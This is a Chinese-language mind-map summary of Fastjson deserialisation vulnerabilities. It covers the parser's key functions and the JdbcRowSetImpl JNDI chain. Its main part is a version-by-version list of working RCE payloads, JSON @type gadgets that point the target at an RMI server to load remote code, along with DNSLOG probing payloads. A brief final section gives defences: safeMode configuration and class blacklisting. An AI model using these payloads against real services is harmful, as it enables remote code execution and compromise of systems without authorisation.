画布 1
fastjson漏洞汇总
  关键函数分析
    DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理
    TypeUtils. loadClass() 根据传入的类名，生成类的实例
    JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。
    ParserConfig.checkAutoType() 阿里后续添加的防护函数，用于在 loadclass 前检查传入的类是否合法。
  序列化原理分析链
    JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
  EXP
    RCE
      <=1.2.47 通杀
        {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.16.216.1:1099/cmd","autoCommit":true}}}
      1.2.25 - 1.2.32
        {"rand3": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "rmi://172.16.216.1:1099/cmd","autoCommit": true}}
        前提:开启autoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
      <= 1.2.60
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://c014:37777/Exp"}");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://c014:37777/Exp"}
      =1.2.62
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}
      < 1.2.67
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"rmi://127.0.0.1:1099/tr1ple"}}"
      < 1.2.68
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName": "rmi://127.0.0.1:1099/Exploit"}
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry": "rmi://127.0.0.1:1099/Exploit"}
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry": "rmi://127.0.0.1:1099/Exploit"}
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames": "rmi://127.0.0.1:1099/Exploit"}
    DNSLOG探测
      {"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}
{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}
{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"rand9":{"@type":"java.net.URL","val":"http://dnslog"}:0
  1.2.68safemode配置方式
    在1.2.68引入了safemode，打开safemode时，@type这个specialkey完全无用，无论白名单和黑名单，都不支持autoType了。
    方式1：代码中:ParserConfig.getGlobalInstance().setSafeMode(true);
    方式2:JVM启动参数-Dfastjson.parser.safeMode=true
    方式3:类路径下fastjson配置文件:fastjson.properties:
fastjson.parser.safeMode=true
  将风险类加入到黑名单
    ParserConfig.getGlobalInstance().addDeny("类名");